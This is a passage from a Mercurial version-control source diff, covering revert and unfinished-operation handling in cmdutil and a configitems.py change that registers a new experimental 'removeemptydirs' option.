+            repo.wvfs.unlinkpath(f, rmdir=rmdir)
         except OSError:
             pass
         repo.dirstate.remove(f)
 
     audit_path = pathutil.pathauditor(repo.root, cached=True)
     for f in actions['forget'][0]:
         if interactive:
             choice = repo.ui.promptchoice(
                 _("forget added file %s (Yn)?$$ &Yes $$ &No") % f)
             if choice == 0:
                 repo.dirstate.drop(f)
             else:
                 excluded_files.append(f)
         else:
             repo.dirstate.drop(f)
     for f in actions['remove'][0]:
         audit_path(f)
         if interactive:
             choice = repo.ui.promptchoice(
                 _("remove added file %s (Yn)?$$ &Yes $$ &No") % f)
             if choice == 0:
                 doremove(f)
             else:
                 excluded_files.append(f)
         else:
             doremove(f)
     for f in actions['drop'][0]:
         audit_path(f)
         repo.dirstate.remove(f)
 
     normal = None
     if node == parent:
         # We're reverting to our parent. If possible, we'd like status
         # to report the file as clean. We have to use normallookup for
         # merges to avoid losing information about merged/dirty files.
         if p2 != nullid:
             normal = repo.dirstate.normallookup
         else:
             normal = repo.dirstate.normal
 
     newlyaddedandmodifiedfiles = set()
     if interactive:
         # Prompt the user for changes to revert
         torevert = [f for f in actions['revert'][0] if f not in excluded_files]
         m = scmutil.matchfiles(repo, torevert)
         diffopts = patch.difffeatureopts(repo.ui, whitespace=True)
         diffopts.nodates = True
         diffopts.git = True
         operation = 'discard'
         reversehunks = True
         if node != parent:
             operation = 'apply'
             reversehunks = False
         if reversehunks:
             diff = patch.diff(repo, ctx.node(), None, m, opts=diffopts)
         else:
             diff = patch.diff(repo, None, ctx.node(), m, opts=diffopts)
         originalchunks = patch.parsepatch(diff)
 
         try:
 
             chunks, opts = recordfilter(repo.ui, originalchunks,
                                         operation=operation)
             if reversehunks:
                 chunks = patch.reversehunks(chunks)
 
         except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
 
         newlyaddedandmodifiedfiles = newandmodified(chunks, originalchunks)
         if tobackup is None:
             tobackup = set()
         # Apply changes
         fp = stringio()
         for c in chunks:
             # Create a backup file only if this hunk should be backed up
             if ishunk(c) and c.header.filename() in tobackup:
                 abs = c.header.filename()
                 target = repo.wjoin(abs)
                 bakname = scmutil.origpath(repo.ui, repo, m.rel(abs))
                 util.copyfile(target, bakname)
                 tobackup.remove(abs)
             c.write(fp)
         dopatch = fp.tell()
         fp.seek(0)
         if dopatch:
             try:
                 patch.internalpatch(repo.ui, repo, fp, 1, eolmode=None)
             except error.PatchError as err:
                 raise error.Abort(pycompat.bytestr(err))
         del fp
     else:
         for f in actions['revert'][0]:
             checkout(f)
             if normal:
                 normal(f)
 
     for f in actions['add'][0]:
         # Don't checkout modified files, they are already created by the diff
         if f not in newlyaddedandmodifiedfiles:
             checkout(f)
             repo.dirstate.add(f)
 
     normal = repo.dirstate.normallookup
     if node == parent and p2 == nullid:
         normal = repo.dirstate.normal
     for f in actions['undelete'][0]:
         checkout(f)
         normal(f)
 
     copied = copies.pathcopies(repo[parent], ctx)
 
     for f in actions['add'][0] + actions['undelete'][0] + actions['revert'][0]:
         if f in copied:
             repo.dirstate.copy(copied[f], f)
 
 # a list of (ui, repo, otherpeer, opts, missing) functions called by
 # commands.outgoing.  "missing" is "missing" of the result of
 # "findcommonoutgoing()"
 outgoinghooks = util.hooks()
 
 # a list of (ui, repo) functions called by commands.summary
 summaryhooks = util.hooks()
 
 # a list of (ui, repo, opts, changes) functions called by commands.summary.
 #
 # functions should return tuple of booleans below, if 'changes' is None:
 #  (whether-incomings-are-needed, whether-outgoings-are-needed)
 #
 # otherwise, 'changes' is a tuple of tuples below:
 #  - (sourceurl, sourcebranch, sourcepeer, incoming)
 #  - (desturl,   destbranch,   destpeer,   outgoing)
 summaryremotehooks = util.hooks()
 
 # A list of state files kept by multistep operations like graft.
 # Since graft cannot be aborted, it is considered 'clearable' by update.
 # note: bisect is intentionally excluded
 # (state file, clearable, allowcommit, error, hint)
 unfinishedstates = [
     ('graftstate', True, False, _('graft in progress'),
      _("use 'hg graft --continue' or 'hg graft --stop' to stop")),
     ('updatestate', True, False, _('last update was interrupted'),
      _("use 'hg update' to get a consistent checkout"))
     ]
 
 def checkunfinished(repo, commit=False):
     '''Look for an unfinished multistep operation, like graft, and abort
     if found. It's probably good to check this right before
     bailifchanged().
     '''
     # Check for non-clearable states first, so things like rebase will take
     # precedence over update.
     for f, clearable, allowcommit, msg, hint in unfinishedstates:
         if clearable or (commit and allowcommit):
             continue
         if repo.vfs.exists(f):
             raise error.Abort(msg, hint=hint)
 
     for f, clearable, allowcommit, msg, hint in unfinishedstates:
         if not clearable or (commit and allowcommit):
             continue
         if repo.vfs.exists(f):
             raise error.Abort(msg, hint=hint)
 
 def clearunfinished(repo):
     '''Check for unfinished operations (as above), and clear the ones
     that are clearable.
     '''
     for f, clearable, allowcommit, msg, hint in unfinishedstates:
         if not clearable and repo.vfs.exists(f):
             raise error.Abort(msg, hint=hint)
     for f, clearable, allowcommit, msg, hint in unfinishedstates:
         if clearable and repo.vfs.exists(f):
             util.unlink(repo.vfs.join(f))
 
 afterresolvedstates = [
     ('graftstate',
      _('hg graft --continue')),
     ]
 
 def howtocontinue(repo):
     '''Check for an unfinished operation and return the command to finish
     it.
 
     afterresolvedstates tuples define a .hg/{file} and the corresponding
     command needed to finish it.
 
     Returns a (msg, warning) tuple. 'msg' is a string and 'warning' is
     a boolean.
     '''
     contmsg = _("continue: %s")
     for f, msg in afterresolvedstates:
         if repo.vfs.exists(f):
             return contmsg % msg, True
     if repo[None].dirty(missing=True, merge=False, branch=False):
         return contmsg % _("hg commit"), False
     return None, None
 
 def checkafterresolved(repo):
     '''Inform the user about the next action after completing hg resolve
 
     If there's a matching afterresolvedstates, howtocontinue will yield
     repo.ui.warn as the reporter.
 
     Otherwise, it will yield repo.ui.note.
     '''
     msg, warning = howtocontinue(repo)
     if msg is not None:
         if warning:
             repo.ui.warn("%s\n" % msg)
         else:
             repo.ui.note("%s\n" % msg)
 
 def wrongtooltocontinue(repo, task):
     '''Raise an abort suggesting how to properly continue if there is an
     active task.
 
     Uses howtocontinue() to find the active task.
 
     If there's no task (repo.ui.note for 'hg commit'), it does not offer
     a hint.
     '''
     after = howtocontinue(repo)
     hint = None
     if after[1]:
         hint = after[0]
     raise error.Abort(_('no %s in progress') % task, hint=hint)

mercurial/configitems.py

@@ -1,1352 +1,1355 b''
 # configitems.py - centralized declaration of configuration option
 #
 #  Copyright 2017 Pierre-Yves David <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import functools
 import re
 
 from . import (
     encoding,
     error,
 )
 
 def loadconfigtable(ui, extname, configtable):
     """update config item known to the ui with the extension ones"""
     for section, items in sorted(configtable.items()):
         knownitems = ui._knownconfig.setdefault(section, itemregister())
         knownkeys = set(knownitems)
         newkeys = set(items)
         for key in sorted(knownkeys & newkeys):
             msg = "extension '%s' overwrite config item '%s.%s'"
             msg %= (extname, section, key)
             ui.develwarn(msg, config='warn-config')
 
         knownitems.update(items)
 
 class configitem(object):
     """represent a known config item
 
     :section: the official config section where to find this item,
        :name: the official name within the section,
     :default: default value for this item,
     :alias: optional list of tuples as alternatives,
     :generic: this is a generic definition, match name using regular expression.
     """
 
     def __init__(self, section, name, default=None, alias=(),
                  generic=False, priority=0):
         self.section = section
         self.name = name
         self.default = default
         self.alias = list(alias)
         self.generic = generic
         self.priority = priority
         self._re = None
         if generic:
             self._re = re.compile(self.name)
 
 class itemregister(dict):
     """A specialized dictionary that can handle wild-card selection"""
 
     def __init__(self):
         super(itemregister, self).__init__()
         self._generics = set()
 
     def update(self, other):
         super(itemregister, self).update(other)
         self._generics.update(other._generics)
 
     def __setitem__(self, key, item):
         super(itemregister, self).__setitem__(key, item)
         if item.generic:
             self._generics.add(item)
 
     def get(self, key):
         baseitem = super(itemregister, self).get(key)
         if baseitem is not None and not baseitem.generic:
             return baseitem
 
         # search for a matching generic item
         generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
         for item in generics:
             # we use 'match' instead of 'search' to make the matching simpler
             # for people unfamiliar with regular expression. Having the match
             # rooted to the start of the string will produce less surprising
             # result for user writing simple regex for sub-attribute.
             #
             # For example using "color\..*" match produces an unsurprising
             # result, while using search could suddenly match apparently
             # unrelated configuration that happens to contains "color."
             # anywhere. This is a tradeoff where we favor requiring ".*" on
             # some match to avoid the need to prefix most pattern with "^".
             # The "^" seems more error prone.
             if item._re.match(key):
                 return item
 
         return None
 
 coreitems = {}
 
 def _register(configtable, *args, **kwargs):
     item = configitem(*args, **kwargs)
     section = configtable.setdefault(item.section, itemregister())
     if item.name in section:
         msg = "duplicated config item registration for '%s.%s'"
         raise error.ProgrammingError(msg % (item.section, item.name))
     section[item.name] = item
 
 # special value for case where the default is derived from other values
 dynamicdefault = object()
 
 # Registering actual config items
 
 def getitemregister(configtable):
     f = functools.partial(_register, configtable)
     # export pseudo enum as configitem.*
     f.dynamicdefault = dynamicdefault
     return f
 
 coreconfigitem = getitemregister(coreitems)
 
 coreconfigitem('alias', '.*',
     default=dynamicdefault,
     generic=True,
 )
 coreconfigitem('annotate', 'nodates',
     default=False,
 )
 coreconfigitem('annotate', 'showfunc',
     default=False,
 )
 coreconfigitem('annotate', 'unified',
     default=None,
 )
 coreconfigitem('annotate', 'git',
     default=False,
 )
 coreconfigitem('annotate', 'ignorews',
     default=False,
 )
 coreconfigitem('annotate', 'ignorewsamount',
     default=False,
 )
 coreconfigitem('annotate', 'ignoreblanklines',
     default=False,
 )
 coreconfigitem('annotate', 'ignorewseol',
     default=False,
 )
 coreconfigitem('annotate', 'nobinary',
     default=False,
 )
 coreconfigitem('annotate', 'noprefix',
     default=False,
 )
 coreconfigitem('auth', 'cookiefile',
     default=None,
 )
 # bookmarks.pushing: internal hack for discovery
 coreconfigitem('bookmarks', 'pushing',
     default=list,
 )
 # bundle.mainreporoot: internal hack for bundlerepo
 coreconfigitem('bundle', 'mainreporoot',
     default='',
 )
 # bundle.reorder: experimental config
 coreconfigitem('bundle', 'reorder',
     default='auto',
 )
 coreconfigitem('censor', 'policy',
     default='abort',
 )
 coreconfigitem('chgserver', 'idletimeout',
     default=3600,
 )
 coreconfigitem('chgserver', 'skiphash',
     default=False,
 )
 coreconfigitem('cmdserver', 'log',
     default=None,
 )
 coreconfigitem('color', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('color', 'mode',
     default='auto',
 )
 coreconfigitem('color', 'pagermode',
     default=dynamicdefault,
 )
 coreconfigitem('commands', 'show.aliasprefix',
     default=list,
 )
 coreconfigitem('commands', 'status.relative',
     default=False,
 )
 coreconfigitem('commands', 'status.skipstates',
     default=[],
 )
 coreconfigitem('commands', 'status.terse',
     default='',
 )
 coreconfigitem('commands', 'status.verbose',
     default=False,
 )
 coreconfigitem('commands', 'update.check',
     default=None,
 )
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
 coreconfigitem('committemplate', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('convert', 'cvsps.cache',
     default=True,
 )
 coreconfigitem('convert', 'cvsps.fuzz',
     default=60,
 )
 coreconfigitem('convert', 'cvsps.logencoding',
     default=None,
 )
 coreconfigitem('convert', 'cvsps.mergefrom',
     default=None,
 )
 coreconfigitem('convert', 'cvsps.mergeto',
     default=None,
 )
 coreconfigitem('convert', 'git.committeractions',
     default=lambda: ['messagedifferent'],
 )
 coreconfigitem('convert', 'git.extrakeys',
     default=list,
 )
 coreconfigitem('convert', 'git.findcopiesharder',
     default=False,
 )
 coreconfigitem('convert', 'git.remoteprefix',
     default='remote',
 )
 coreconfigitem('convert', 'git.renamelimit',
     default=400,
 )
 coreconfigitem('convert', 'git.saverev',
     default=True,
 )
 coreconfigitem('convert', 'git.similarity',
     default=50,
 )
 coreconfigitem('convert', 'git.skipsubmodules',
     default=False,
 )
 coreconfigitem('convert', 'hg.clonebranches',
     default=False,
 )
 coreconfigitem('convert', 'hg.ignoreerrors',
     default=False,
 )
 coreconfigitem('convert', 'hg.revs',
     default=None,
 )
 coreconfigitem('convert', 'hg.saverev',
     default=False,
 )
 coreconfigitem('convert', 'hg.sourcename',
     default=None,
 )
 coreconfigitem('convert', 'hg.startrev',
     default=None,
 )
 coreconfigitem('convert', 'hg.tagsbranch',
     default='default',
 )
 coreconfigitem('convert', 'hg.usebranchnames',
     default=True,
 )
 coreconfigitem('convert', 'ignoreancestorcheck',
     default=False,
 )
 coreconfigitem('convert', 'localtimezone',
     default=False,
 )
 coreconfigitem('convert', 'p4.encoding',
     default=dynamicdefault,
 )
 coreconfigitem('convert', 'p4.startrev',
     default=0,
 )
 coreconfigitem('convert', 'skiptags',
     default=False,
 )
 coreconfigitem('convert', 'svn.debugsvnlog',
     default=True,
 )
 coreconfigitem('convert', 'svn.trunk',
     default=None,
 )
 coreconfigitem('convert', 'svn.tags',
     default=None,
 )
 coreconfigitem('convert', 'svn.branches',
     default=None,
 )
 coreconfigitem('convert', 'svn.startrev',
     default=0,
 )
 coreconfigitem('debug', 'dirstate.delaywrite',
     default=0,
 )
 coreconfigitem('defaults', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('devel', 'all-warnings',
     default=False,
 )
 coreconfigitem('devel', 'bundle2.debug',
     default=False,
 )
 coreconfigitem('devel', 'cache-vfs',
     default=None,
 )
 coreconfigitem('devel', 'check-locks',
     default=False,
 )
 coreconfigitem('devel', 'check-relroot',
     default=False,
 )
 coreconfigitem('devel', 'default-date',
     default=None,
 )
 coreconfigitem('devel', 'deprec-warn',
     default=False,
 )
 coreconfigitem('devel', 'disableloaddefaultcerts',
     default=False,
 )
 coreconfigitem('devel', 'warn-empty-changegroup',
     default=False,
 )
 coreconfigitem('devel', 'legacy.exchange',
     default=list,
 )
 coreconfigitem('devel', 'servercafile',
     default='',
 )
 coreconfigitem('devel', 'serverexactprotocol',
     default='',
 )
 coreconfigitem('devel', 'serverrequirecert',
     default=False,
 )
 coreconfigitem('devel', 'strip-obsmarkers',
     default=True,
 )
 coreconfigitem('devel', 'warn-config',
     default=None,
 )
 coreconfigitem('devel', 'warn-config-default',
     default=None,
 )
 coreconfigitem('devel', 'user.obsmarker',
     default=None,
 )
 coreconfigitem('devel', 'warn-config-unknown',
     default=None,
 )
 coreconfigitem('devel', 'debug.peer-request',
     default=False,
 )
 coreconfigitem('diff', 'nodates',
     default=False,
 )
 coreconfigitem('diff', 'showfunc',
     default=False,
 )
 coreconfigitem('diff', 'unified',
     default=None,
 )
 coreconfigitem('diff', 'git',
     default=False,
 )
 coreconfigitem('diff', 'ignorews',
     default=False,
 )
 coreconfigitem('diff', 'ignorewsamount',
     default=False,
 )
 coreconfigitem('diff', 'ignoreblanklines',
     default=False,
 )
 coreconfigitem('diff', 'ignorewseol',
     default=False,
 )
 coreconfigitem('diff', 'nobinary',
     default=False,
 )
 coreconfigitem('diff', 'noprefix',
     default=False,
 )
 coreconfigitem('email', 'bcc',
     default=None,
 )
 coreconfigitem('email', 'cc',
     default=None,
 )
 coreconfigitem('email', 'charsets',
     default=list,
 )
 coreconfigitem('email', 'from',
     default=None,
 )
 coreconfigitem('email', 'method',
     default='smtp',
 )
 coreconfigitem('email', 'reply-to',
     default=None,
 )
 coreconfigitem('email', 'to',
     default=None,
 )
 coreconfigitem('experimental', 'archivemetatemplate',
     default=dynamicdefault,
 )
 coreconfigitem('experimental', 'bundle-phases',
     default=False,
 )
 coreconfigitem('experimental', 'bundle2-advertise',
     default=True,
 )
 coreconfigitem('experimental', 'bundle2-output-capture',
     default=False,
 )
 coreconfigitem('experimental', 'bundle2.pushback',
     default=False,
 )
 coreconfigitem('experimental', 'bundle2.stream',
     default=False,
 )
 coreconfigitem('experimental', 'bundle2lazylocking',
     default=False,
 )
 coreconfigitem('experimental', 'bundlecomplevel',
     default=None,
 )
 coreconfigitem('experimental', 'bundlecomplevel.bzip2',
     default=None,
 )
 coreconfigitem('experimental', 'bundlecomplevel.gzip',
     default=None,
 )
 coreconfigitem('experimental', 'bundlecomplevel.none',
     default=None,
 )
 coreconfigitem('experimental', 'bundlecomplevel.zstd',
     default=None,
 )
 coreconfigitem('experimental', 'changegroup3',
     default=False,
 )
 coreconfigitem('experimental', 'clientcompressionengines',
     default=list,
 )
 coreconfigitem('experimental', 'copytrace',
     default='on',
 )
 coreconfigitem('experimental', 'copytrace.movecandidateslimit',
     default=100,
 )
 coreconfigitem('experimental', 'copytrace.sourcecommitlimit',
     default=100,
 )
 coreconfigitem('experimental', 'crecordtest',
     default=None,
 )
 coreconfigitem('experimental', 'directaccess',
     default=False,
 )
 coreconfigitem('experimental', 'directaccess.revnums',
     default=False,
 )
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
 coreconfigitem('experimental', 'evolution',
     default=list,
 )
 coreconfigitem('experimental', 'evolution.allowdivergence',
     default=False,
     alias=[('experimental', 'allowdivergence')]
 )
 coreconfigitem('experimental', 'evolution.allowunstable',
     default=None,
 )
 coreconfigitem('experimental', 'evolution.createmarkers',
     default=None,
 )
 coreconfigitem('experimental', 'evolution.effect-flags',
     default=True,
     alias=[('experimental', 'effect-flags')]
 )
 coreconfigitem('experimental', 'evolution.exchange',
     default=None,
 )
 coreconfigitem('experimental', 'evolution.bundle-obsmarker',
     default=False,
 )
 coreconfigitem('experimental', 'evolution.report-instabilities',
     default=True,
 )
 coreconfigitem('experimental', 'evolution.track-operation',
     default=True,
 )
 coreconfigitem('experimental', 'worddiff',
     default=False,
 )
 coreconfigitem('experimental', 'maxdeltachainspan',
     default=-1,
 )
 coreconfigitem('experimental', 'mergetempdirprefix',
     default=None,
 )
 coreconfigitem('experimental', 'mmapindexthreshold',
     default=None,
 )
 coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
 coreconfigitem('experimental', 'exportableenviron',
     default=list,
 )
 coreconfigitem('experimental', 'extendedheader.index',
     default=None,
 )
 coreconfigitem('experimental', 'extendedheader.similarity',
     default=False,
 )
 coreconfigitem('experimental', 'format.compression',
     default='zlib',
 )
 coreconfigitem('experimental', 'graphshorten',
     default=False,
 )
 coreconfigitem('experimental', 'graphstyle.parent',
     default=dynamicdefault,
 )
 coreconfigitem('experimental', 'graphstyle.missing',
     default=dynamicdefault,
 )
 coreconfigitem('experimental', 'graphstyle.grandparent',
     default=dynamicdefault,
 )
 coreconfigitem('experimental', 'hook-track-tags',
     default=False,
 )
 coreconfigitem('experimental', 'httppeer.advertise-v2',
     default=False,
 )
 coreconfigitem('experimental', 'httppostargs',
     default=False,
 )
 coreconfigitem('experimental', 'mergedriver',
     default=None,
 )
 coreconfigitem('experimental', 'obsmarkers-exchange-debug',
     default=False,
 )
 coreconfigitem('experimental', 'remotenames',
     default=False,
 )
+coreconfigitem('experimental', 'removeemptydirs',
+    default=True,
+)
 coreconfigitem('experimental', 'revlogv2',
     default=None,
 )
 coreconfigitem('experimental', 'single-head-per-branch',
     default=False,
 )
 coreconfigitem('experimental', 'sshserver.support-v2',
     default=False,
 )
 coreconfigitem('experimental', 'spacemovesdown',
     default=False,
 )
 coreconfigitem('experimental', 'sparse-read',
     default=False,
 )
 coreconfigitem('experimental', 'sparse-read.density-threshold',
     default=0.25,
 )
 coreconfigitem('experimental', 'sparse-read.min-gap-size',
     default='256K',
 )
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
 coreconfigitem('experimental', 'update.atomic-file',
     default=False,
 )
 coreconfigitem('experimental', 'sshpeer.advertise-v2',
     default=False,
 )
 coreconfigitem('experimental', 'web.apiserver',
     default=False,
 )
 coreconfigitem('experimental', 'web.api.http-v2',
     default=False,
 )
 coreconfigitem('experimental', 'web.api.debugreflect',
     default=False,
 )
 coreconfigitem('experimental', 'xdiff',
     default=False,
 )
 coreconfigitem('extensions', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('extdata', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('format', 'aggressivemergedeltas',
     default=False,
 )
 coreconfigitem('format', 'chunkcachesize',
     default=None,
 )
 coreconfigitem('format', 'dotencode',
     default=True,
 )
 coreconfigitem('format', 'generaldelta',
     default=False,
 )
 coreconfigitem('format', 'manifestcachesize',
     default=None,
 )
 coreconfigitem('format', 'maxchainlen',
     default=None,
 )
 coreconfigitem('format', 'obsstore-version',
     default=None,
 )
 coreconfigitem('format', 'usefncache',
     default=True,
 )
 coreconfigitem('format', 'usegeneraldelta',
     default=True,
 )
 coreconfigitem('format', 'usestore',
     default=True,
 )
 coreconfigitem('fsmonitor', 'warn_when_unused',
     default=True,
 )
 coreconfigitem('fsmonitor', 'warn_update_file_count',
     default=50000,
 )
 coreconfigitem('hooks', '.*',
     default=dynamicdefault,
     generic=True,
 )
 coreconfigitem('hgweb-paths', '.*',
     default=list,
     generic=True,
 )
 coreconfigitem('hostfingerprints', '.*',
     default=list,
     generic=True,
 )
 coreconfigitem('hostsecurity', 'ciphers',
     default=None,
 )
 coreconfigitem('hostsecurity', 'disabletls10warning',
     default=False,
 )
 coreconfigitem('hostsecurity', 'minimumprotocol',
     default=dynamicdefault,
 )
 coreconfigitem('hostsecurity', '.*:minimumprotocol$',
     default=dynamicdefault,
     generic=True,
 )
 coreconfigitem('hostsecurity', '.*:ciphers$',
     default=dynamicdefault,
     generic=True,
 )
 coreconfigitem('hostsecurity', '.*:fingerprints$',
     default=list,
     generic=True,
 )
 coreconfigitem('hostsecurity', '.*:verifycertsfile$',
     default=None,
     generic=True,
 )
 
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
 coreconfigitem('http_proxy', 'host',
     default=None,
 )
 coreconfigitem('http_proxy', 'no',
     default=list,
 )
 coreconfigitem('http_proxy', 'passwd',
     default=None,
 )
 coreconfigitem('http_proxy', 'user',
     default=None,
 )
 coreconfigitem('logtoprocess', 'commandexception',
     default=None,
 )
 coreconfigitem('logtoprocess', 'commandfinish',
     default=None,
 )
 coreconfigitem('logtoprocess', 'command',
     default=None,
 )
 coreconfigitem('logtoprocess', 'develwarn',
     default=None,
 )
 coreconfigitem('logtoprocess', 'uiblocked',
     default=None,
 )
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
 coreconfigitem('merge', 'checkignored',
     default='abort',
 )
 coreconfigitem('experimental', 'merge.checkpathconflicts',
     default=False,
 )
 coreconfigitem('merge', 'followcopies',
     default=True,
 )
 coreconfigitem('merge', 'on-failure',
     default='continue',
 )
 coreconfigitem('merge', 'preferancestor',
         default=lambda: ['*'],
 )
 coreconfigitem('merge-tools', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('merge-tools', br'.*\.args$',
     default="$local $base $other",
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.binary$',
     default=False,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.check$',
     default=list,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.checkchanged$',
     default=False,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.executable$',
     default=dynamicdefault,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.fixeol$',
     default=False,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.gui$',
     default=False,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.mergemarkers$',
     default='basic',
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.mergemarkertemplate$',
     default=dynamicdefault,  # take from ui.mergemarkertemplate
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.priority$',
     default=0,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.premerge$',
     default=dynamicdefault,
     generic=True,
     priority=-1,
 )
 coreconfigitem('merge-tools', br'.*\.symlink$',
     default=False,
     generic=True,
     priority=-1,
 )
 coreconfigitem('pager', 'attend-.*',
     default=dynamicdefault,
     generic=True,
 )
 coreconfigitem('pager', 'ignore',
     default=list,
 )
 coreconfigitem('pager', 'pager',
     default=dynamicdefault,
 )
 coreconfigitem('patch', 'eol',
     default='strict',
 )
 coreconfigitem('patch', 'fuzz',
     default=2,
 )
 coreconfigitem('paths', 'default',
     default=None,
 )
 coreconfigitem('paths', 'default-push',
     default=None,
 )
 coreconfigitem('paths', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('phases', 'checksubrepos',
     default='follow',
 )
 coreconfigitem('phases', 'new-commit',
     default='draft',
 )
 coreconfigitem('phases', 'publish',
     default=True,
 )
 coreconfigitem('profiling', 'enabled',
     default=False,
 )
 coreconfigitem('profiling', 'format',
     default='text',
 )
 coreconfigitem('profiling', 'freq',
     default=1000,
 )
 coreconfigitem('profiling', 'limit',
     default=30,
 )
 coreconfigitem('profiling', 'nested',
     default=0,
 )
 coreconfigitem('profiling', 'output',
     default=None,
 )
 coreconfigitem('profiling', 'showmax',
     default=0.999,
 )
 coreconfigitem('profiling', 'showmin',
     default=dynamicdefault,
 )
 coreconfigitem('profiling', 'sort',
     default='inlinetime',
 )
 coreconfigitem('profiling', 'statformat',
     default='hotpath',
 )
 coreconfigitem('profiling', 'time-track',
     default='cpu',
 )
 coreconfigitem('profiling', 'type',
     default='stat',
 )
 coreconfigitem('progress', 'assume-tty',
     default=False,
 )
 coreconfigitem('progress', 'changedelay',
     default=1,
 )
 coreconfigitem('progress', 'clear-complete',
     default=True,
 )
 coreconfigitem('progress', 'debug',
     default=False,
 )
 coreconfigitem('progress', 'delay',
     default=3,
 )
 coreconfigitem('progress', 'disable',
     default=False,
 )
 coreconfigitem('progress', 'estimateinterval',
     default=60.0,
 )
 coreconfigitem('progress', 'format',
     default=lambda: ['topic', 'bar', 'number', 'estimate'],
 )
 coreconfigitem('progress', 'refresh',
     default=0.1,
 )
 coreconfigitem('progress', 'width',
     default=dynamicdefault,
 )
 coreconfigitem('push', 'pushvars.server',
     default=False,
 )
 coreconfigitem('server', 'bookmarks-pushkey-compat',
     default=True,
 )
 coreconfigitem('server', 'bundle1',
     default=True,
 )
 coreconfigitem('server', 'bundle1gd',
     default=None,
 )
 coreconfigitem('server', 'bundle1.pull',
     default=None,
 )
 coreconfigitem('server', 'bundle1gd.pull',
     default=None,
 )
 coreconfigitem('server', 'bundle1.push',
     default=None,
 )
 coreconfigitem('server', 'bundle1gd.push',
     default=None,
 )
 coreconfigitem('server', 'compressionengines',
     default=list,
 )
 coreconfigitem('server', 'concurrent-push-mode',
     default='strict',
 )
 coreconfigitem('server', 'disablefullbundle',
     default=False,
 )
 coreconfigitem('server', 'maxhttpheaderlen',
     default=1024,
 )
 coreconfigitem('server', 'pullbundle',
     default=False,
 )
 coreconfigitem('server', 'preferuncompressed',
     default=False,
 )
 coreconfigitem('server', 'streamunbundle',
     default=False,
 )
 coreconfigitem('server', 'uncompressed',
     default=True,
 )
 coreconfigitem('server', 'uncompressedallowsecret',
     default=False,
 )
 coreconfigitem('server', 'validate',
     default=False,
 )
 coreconfigitem('server', 'zliblevel',
     default=-1,
 )
 coreconfigitem('server', 'zstdlevel',
     default=3,
 )
 coreconfigitem('share', 'pool',
     default=None,
 )
 coreconfigitem('share', 'poolnaming',
     default='identity',
 )
 coreconfigitem('smtp', 'host',
     default=None,
 )
 coreconfigitem('smtp', 'local_hostname',
     default=None,
 )
 coreconfigitem('smtp', 'password',
     default=None,
 )
 coreconfigitem('smtp', 'port',
     default=dynamicdefault,
 )
 coreconfigitem('smtp', 'tls',
     default='none',
 )
 coreconfigitem('smtp', 'username',
     default=None,
 )
 coreconfigitem('sparse', 'missingwarning',
     default=True,
 )
 coreconfigitem('subrepos', 'allowed',
     default=dynamicdefault,  # to make backporting simpler
 )
 coreconfigitem('subrepos', 'hg:allowed',
     default=dynamicdefault,
 )
 coreconfigitem('subrepos', 'git:allowed',
     default=dynamicdefault,
 )
 coreconfigitem('subrepos', 'svn:allowed',
     default=dynamicdefault,
 )
 coreconfigitem('templates', '.*',
     default=None,
     generic=True,
 )
 coreconfigitem('trusted', 'groups',
     default=list,
 )
 coreconfigitem('trusted', 'users',
     default=list,
 )
 coreconfigitem('ui', '_usedassubrepo',
     default=False,
 )
 coreconfigitem('ui', 'allowemptycommit',
     default=False,
 )
 coreconfigitem('ui', 'archivemeta',
     default=True,
 )
 coreconfigitem('ui', 'askusername',
     default=False,
 )
 coreconfigitem('ui', 'clonebundlefallback',
     default=False,
 )
 coreconfigitem('ui', 'clonebundleprefers',
     default=list,
 )
 coreconfigitem('ui', 'clonebundles',
     default=True,
 )
 coreconfigitem('ui', 'color',
     default='auto',
 )
 coreconfigitem('ui', 'commitsubrepos',
     default=False,
 )
 coreconfigitem('ui', 'debug',
     default=False,
 )
 coreconfigitem('ui', 'debugger',
     default=None,
 )
 coreconfigitem('ui', 'editor',
     default=dynamicdefault,
 )
 coreconfigitem('ui', 'fallbackencoding',
     default=None,
 )
 coreconfigitem('ui', 'forcecwd',
     default=None,
 )
 coreconfigitem('ui', 'forcemerge',
     default=None,
 )
 coreconfigitem('ui', 'formatdebug',
     default=False,
 )
 coreconfigitem('ui', 'formatjson',
     default=False,
 )
 coreconfigitem('ui', 'formatted',
     default=None,
 )
 coreconfigitem('ui', 'graphnodetemplate',
     default=None,
 )
 coreconfigitem('ui', 'interactive',
     default=None,
 )
 coreconfigitem('ui', 'interface',
     default=None,
 )
 coreconfigitem('ui', 'interface.chunkselector',
     default=None,
 )
 coreconfigitem('ui', 'logblockedtimes',
     default=False,
 )
 coreconfigitem('ui', 'logtemplate',
     default=None,
 )
 coreconfigitem('ui', 'merge',
     default=None,
 )
 coreconfigitem('ui', 'mergemarkers',
     default='basic',
 )
 coreconfigitem('ui', 'mergemarkertemplate',
     default=('{node|short} '
             '{ifeq(tags, "tip", "", '
